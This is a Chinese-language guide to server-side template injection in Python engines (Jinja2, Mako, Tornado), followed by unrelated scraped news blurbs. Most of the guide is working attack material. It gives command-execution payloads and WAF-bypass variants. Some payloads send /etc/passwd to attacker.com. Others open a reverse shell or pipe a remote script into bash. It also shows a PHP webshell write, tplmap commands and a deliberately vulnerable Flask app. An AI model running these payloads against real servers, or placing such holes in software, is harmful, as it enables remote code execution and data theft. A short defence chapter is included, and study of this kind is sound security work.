Python安全深度剖析:SSTI模板注入与自动化利用指南
第一章Web模板引擎与SSTI基础1.1 什么是模板引擎模板引擎是一种将动态数据嵌入静态模板文件最终生成 HTML 或其他文本格式的技术。在 Python Web 开发中常见的模板引擎包括Jinja2Flask、FastAPI通过 jinja2默认使用功能强大语法类似 Django。MakoPylons、Pyramid 等框架使用语法灵活。Tornado自带模板引擎。Django自带模板引擎Django Templates安全机制相对严格。1.2 SSTI服务器端模板注入原理当开发者错误地将用户输入直接拼接进模板字符串或使用render_template_string等函数且未对输入进行过滤时攻击者可以注入模板语法在服务器端执行任意代码。典型危险代码Flask Jinja2pythonfrom flask import Flask, request, render_template_string app Flask(__name__) app.route(/hello) def hello(): name request.args.get(name, World) template h1Hello, name !/h1 return render_template_string(template)攻击者访问/hello?name{{7*7}}页面输出49证明存在 SSTI。1.3 注入点定位SSTI 常出现在URL 参数POST 表单数据HTTP 头User-Agent、X-Forwarded-For 等Cookie 值文件上传内容如果文件名或内容被模板渲染测试Payloadjinja2{{ 7*7 }} {{ 7*7 }} ${7*7} {{config}} {{self}}第二章Python SSTI 利用链深度解析2.1 Python 对象模型与继承链在 Python 中一切都是对象。利用 SSTI 的核心是通过__class__、__base__、__mro__、__subclasses__()等魔法属性从任意基础对象如字符串、空列表出发找到可执行系统命令的类。经典利用链Jinja2python.__class__.__mro__[1].__subclasses__()2.1.1 关键属性解释属性作用__class__返回对象所属的类__bases__/__base__返回类的父类元组__mro__方法解析顺序可用于获取继承链__subclasses__()返回类的所有子类列表__globals__返回函数所在模块的全局变量字典常包含危险函数__builtins__内建函数模块包含eval、exec、open等2.1.2 子类索引定位法获取所有子类后需要找到能够执行命令的类。常见的“万能类”有class os._wrap_close包含os模块class warnings.catch_warnings包含__builtins__class subprocess.Popen直接执行命令查找命令执行类的脚本pythonfor i, cls in enumerate(.__class__.__mro__[1].__subclasses__()): if os in str(cls.__init__.__globals__.get(os, )): print(i, cls)2.2 Jinja2 专用利用技巧2.2.1config对象在 Flask Jinja2 中{{config}}可以直接访问应用配置甚至可能泄露 SECRET_KEY。2.2.2self与request对象{{self.__class__.__mro__[1].__subclasses__()}}{{request.application.__globals__.__builtins__.__import__(os).popen(id).read()}}2.2.3 过滤器滥用Jinja2 的过滤器本质是 Python 函数可以调用jinja2{{ .__class__.__mro__[1].__subclasses__()|attr(__getitem__)(133) }}2.3 Mako 模板注入Mako 使用${...}作为表达式标记利用方式更直接python${__import__(os).system(whoami)}Mako 还允许直接调用context对象python${context[__import__](os).system(id)}2.4 Tornado 模板注入Tornado 模板默认会转义输出但使用{% raw %}或{{ ... }}时仍可能注入python{{ __import__(os).system(ls) }}第三章高级利用与绕过技术3.1 绕过 WAF 与黑名单很多 WAF 会过滤__class__、__subclasses__、os、system等关键词。3.1.1 字符串拼接jinja2{{[__class__]}}3.1.2 使用request参数传递jinja2{{request[__class__]}}或通过 GET 参数text{{ request.args.__class__ }}3.1.3 利用attr()过滤器jinja2{{ .__class__|attr(__mro__)|attr(__getitem__)(1)|attr(__subclasses__)() }}3.1.4 利用|与join绕过jinja2{{[__class__]}}等价于jinja2{{|attr(__class__)}}3.1.5 编码与 Unicode 混淆某些情况下可以使用 Unicode 等价字符__class__→__cl\u0061ss__十六进制\x5f\x5fclass\x5f\x5f3.2 无回显利用当页面没有直接输出时可以通过 DNSLog、HTTP 请求、写文件等方式获取执行结果。3.2.1 使用requests发送数据python{{().__class__.__mro__[1].__subclasses__()[440](curl http://attacker.com/?data$(cat /etc/passwd | base64),shellTrue)}}索引可能因 Python 版本而异3.2.2 通过socket建立反向 Shellpython{{().__class__.__mro__[1].__subclasses__()[440](python3 -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\attacker.com\,4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\/bin/bash\,\ -i\]),shellTrue)}}3.3 Python 沙盒逃逸某些情况下模板运行在受限环境中如eval被禁用、__builtins__被清空需要更复杂的逃逸。3.3.1 通过__builtins__恢复python{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__[__builtins__][__import__](os).system(id)}}3.3.2 通过warnings.catch_warnings的__init__python{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ catch_warnings %}{{c.__init__.__globals__[__builtins__].eval(__import__(os).system(id))}}{% endif %}{% endfor %}3.4 利用os.environ与subprocess当os.system被禁用时可以尝试os.popen.read()subprocess.Popensubprocess.check_outputpython{{.__class__.__mro__[1].__subclasses__()[440](cat /etc/passwd,shellTrue,stdout-1).communicate()}}第四章自动化工具与项目实践4.1 TplmapSSTI 自动化检测与利用Tplmap 是专门针对 SSTI 的渗透测试工具支持 Jinja2、Mako、Tornado 等多种引擎。安装bashgit clone https://github.com/epinna/tplmap cd tplmap pip install -r requirements.txt基本使用bash# 检测 python tplmap.py -u http://target.com/hello?name* # 指定注入点 python tplmap.py -u http://target.com/hello?name* --os-cmd id # 获取交互式 Shell python tplmap.py -u http://target.com/hello?name* --os-shell高级用法--engine手动指定模板引擎如 Jinja2--level设置检测深度1-5--upload上传文件4.2 自定义 Burp Suite 插件使用 Burp 的 Intruder 配合字典批量测试 SSTI Payload。推荐使用Turbo Intruder进行高并发测试。4.3 其他辅助工具Jinja2-tester本地快速验证 PayloadSSTImapTplmap 的升级版支持更多引擎和特性Python SSTI Payload Generator自动生成 Payload 脚本4.4 实战项目搭建脆弱环境使用 Docker 搭建 Flask Jinja2 脆弱应用dockerfileFROM python:3.8-slim RUN pip install flask COPY app.py /app.py CMD [python, /app.py]app.py存在 SSTIpythonfrom flask import Flask, request, render_template_string app Flask(__name__) app.route(/) def index(): name request.args.get(name, Guest) template fh1Hello {name}/h1 return render_template_string(template) if __name__ __main__: app.run(host0.0.0.0, port5000)第五章防御措施与安全编码5.1 根本解决方案永远不要使用render_template_string拼接用户输入。使用render_template并传入上下文变量。pythonreturn render_template(hello.html, namename)启用 Jinja2 沙箱sandboxedTrue但注意沙箱并非完全安全。5.2 输入过滤与白名单对用户输入进行严格过滤只允许字母数字。使用正则表达式限制模板变量名。5.3 使用安全配置pythonapp.jinja_env.globals.update(__builtins__{}) # 移除内置函数 app.jinja_env.autoescape True # 开启自动转义5.4 升级依赖定期更新 Flask、Jinja2 等依赖避免已知绕过漏洞。5.5 使用 WAF 规则部署 ModSecurity 等 WAF配置规则拦截__class__、__subclasses__等关键词。第六章实战案例深度分析案例一Flask 应用 RCE场景某博客应用允许用户自定义页面标题开发者使用render_template_string拼接标题。Payloadtext{{.__class__.__mro__[1].__subclasses__()[440](cat /flag.txt,shellTrue,stdout-1).communicate()[0]}}结果获取服务器 flag。案例二绕过黑名单过滤场景WAF 拦截了__class__、os、system等关键词。绕过 Payloadjinja2{{request|attr(application)|attr(\x5f\x5fglobals\x5f\x5f)|attr(\x5f\x5fgetitem\x5f\x5f)(\x5f\x5fbuiltins\x5f\x5f)|attr(\x5f\x5fgetitem\x5f\x5f)(\x5f\x5fimport\x5f\x5f)(os)|attr(popen)(id)|attr(read)()}}案例三Mako 模板注入场景某网站使用 Mako 渲染错误页面将异常信息传入模板。Payloadpython${self.module.cache.util.os.system(curl http://attacker.com/rev.sh | bash)}结果反弹 Shell。第七章附录7.1 Python 各版本通用 Payload 索引以下 Payload 在不同 Python 版本中可能索引不同需动态测试目标Payload 示例获取所有子类.__class__.__mro__[1].__subclasses__()执行命令 (os.system)[].__class__.__base__.__subclasses__()[140].__init__.__globals__[system](id)执行命令 (subprocess)[].__class__.__base__.__subclasses__()[137](id, shellTrue, stdout-1).communicate()读文件().__class__.__bases__[0].__subclasses__()[40](/etc/passwd).read()写 WebShell[].__class__.__base__.__subclasses__()[40](/tmp/shell.php,w).write(?php eval($_GET[1]);?)7.2 常见子类索引Python 3.8os._wrap_close索引约 140-160subprocess.Popen索引约 400-450warnings.catch_warnings索引约 170-1907.3 学习资源Jinja2 官方文档PortSwigger SSTI 教程SSTI 利用 Wiki

相关新闻

MCP6S91/2/3可编程增益放大器:原理、选型与STM32驱动实战

MCP6S91/2/3可编程增益放大器:原理、选型与STM32驱动实战

1. 项目概述:为什么需要可编程增益放大器?在嵌入式系统、精密测量和传感器信号调理的领域里,我们常常会遇到一个经典难题:来自传感器的原始信号太微弱了。比如,一个热电偶的输出可能只有几毫伏,一个压力传感…

2026/6/19 6:20:34阅读更多 →
【算法】专题一:双指针之呈最多水的容器,有效三角型的个数,和为 s 的两个数字,三数之和,四数之和

【算法】专题一:双指针之呈最多水的容器,有效三角型的个数,和为 s 的两个数字,三数之和,四数之和

1.盛最多水的容器: 题⽬链接:11. 盛最多水的容器 - 力扣(LeetCode) 问题描述: 算法原理: 解法⼀(暴⼒求解): 算法思路: 枚举出能构成的所有容器&#xff0…

2026/6/19 6:15:34阅读更多 →
可以生成 word 的 deepseek 内容导出常出现格式瑕疵,AI 导出鸭全终端适配,稳定还原原始文稿样式

可以生成 word 的 deepseek 内容导出常出现格式瑕疵,AI 导出鸭全终端适配,稳定还原原始文稿样式

引言 DeepSeek具备一键生成Word文稿的能力,大量办公、写作人群依靠它撰写方案、文稿、教案,但直接导出时常出现排版错位、格式错乱、图文偏移等问题。普通转换手段修复效果有限,市场急需适配DeepSeek文稿结构的专业导出工具,AI导出…

2026/6/19 6:15:34阅读更多 →
QCoreApplication::processEvents好用但不能瞎用

QCoreApplication::processEvents好用但不能瞎用

1、为了解决界面卡死的问题,大量使用2、主线程下定时器中或者执行长时间任务的循环体中,增加之后,界面流畅很多;无意识的滥用没有了解QCoreApplication::processEvents本质功能和作用,在子线程中使用,没感觉…

2026/6/19 9:30:50阅读更多 →
面试官坏笑:“你用 AI 编程半年了,那怎么保证 Claude Code 写出来的代码是对的?”我:“直接用 Claude Opus 4.8!”

面试官坏笑:“你用 AI 编程半年了,那怎么保证 Claude Code 写出来的代码是对的?”我:“直接用 Claude Opus 4.8!”

本文是转载,我是留个档。完整文章请看:https://mp.weixin.qq.com/s/NCzHo4SxcuYOueyq2Q-2NQ你好,我是小 G。上个周末,我通过文字消息分享了一些 Vibe Coding 的小技巧,不少 G 友反馈说分享的经验非常有用,甚…

2026/6/19 9:30:50阅读更多 →
PSIM进阶应用:参数文件驱动电路仿真与高效调试

PSIM进阶应用:参数文件驱动电路仿真与高效调试

1. 参数文件驱动的电路仿真为何如此重要 第一次接触PSIM的参数文件功能时,我正被一个光伏逆变器的多工况仿真折磨得焦头烂额。每次修改电感值、电容值或者开关频率,都需要逐个打开元件属性窗口手动调整,不仅效率低下,还经常漏改某…

2026/6/19 9:30:50阅读更多 →
根本不存在所谓的“技术任务”:技术任务就是产品任务

根本不存在所谓的“技术任务”:技术任务就是产品任务

所谓“技术任务”,比如测试、交付流水线、重构等,本质上都应该服务于业务目标。真正有价值的技术工作,能够提升产品的可靠性、可扩展性和可维护性,并直接影响团队的研发效能和交付能力。如果不能像管理其他产品工作一样管理这些技…

2026/6/19 9:30:50阅读更多 →
Android自动化测试框架对比:uiautomator与Appium的核心原理与选型指南

Android自动化测试框架对比:uiautomator与Appium的核心原理与选型指南

1. 项目概述:为什么我们需要对比uiautomator与Appium?在移动应用开发与测试的日常工作中,自动化测试是保证产品质量、提升迭代效率的关键环节。每当项目进入稳定期,回归测试的工作量就会指数级增长,手动点点点不仅枯燥…

2026/6/19 9:30:50阅读更多 →
GCP Vertex AI Provisioned Throughput 完全指南 — 从 429 限流到 PT 预留吞吐量

GCP Vertex AI Provisioned Throughput 完全指南 — 从 429 限流到 PT 预留吞吐量

一、背景与痛点 1.1 问题场景 使用 Vertex AI Gemini 模型(如 gemini-3-pro-image / gemini-3.1-flash-image)进行图片生成或多模态推理时,随着流量增长会频繁遇到 429 Resource Exhausted 错误。 典型报错: google.api_core.exceptions.ResourceExhausted: 429 Resour…

2026/6/19 9:25:50阅读更多 →
Photobucket付费墙背后:5美元买童年回忆却落得一场空!

Photobucket付费墙背后:5美元买童年回忆却落得一场空!

1. 付费墙初现如今身处万亿市值公司林立的时代,我们也不能轻易放弃5美元。就像Photobucket,它曾相当于过去的Imgur,我们小时候常把图片上传到这个网站,然后在各种论坛上分享链接,它简单好用,尽职尽责。但最…

2026/6/19 0:04:37阅读更多 →
如何在5分钟内掌握Mermaid Live Editor:实时图表编辑终极指南

如何在5分钟内掌握Mermaid Live Editor:实时图表编辑终极指南

如何在5分钟内掌握Mermaid Live Editor:实时图表编辑终极指南 【免费下载链接】mermaid-live-editor Edit, preview and share mermaid charts/diagrams. New implementation of the live editor. 项目地址: https://gitcode.com/GitHub_Trending/me/mermaid-live…

2026/6/19 0:04:37阅读更多 →
yuzu模拟器内存修改技术深度解析:金手指功能实现原理与实践指南

yuzu模拟器内存修改技术深度解析:金手指功能实现原理与实践指南

yuzu模拟器内存修改技术深度解析:金手指功能实现原理与实践指南 【免费下载链接】yuzu 项目地址: https://gitcode.com/GitHub_Trending/yuz/yuzu yuzu作为目前最流行的开源Nintendo Switch模拟器,不仅提供了完整的游戏运行环境,还内…

2026/6/19 0:04:37阅读更多 →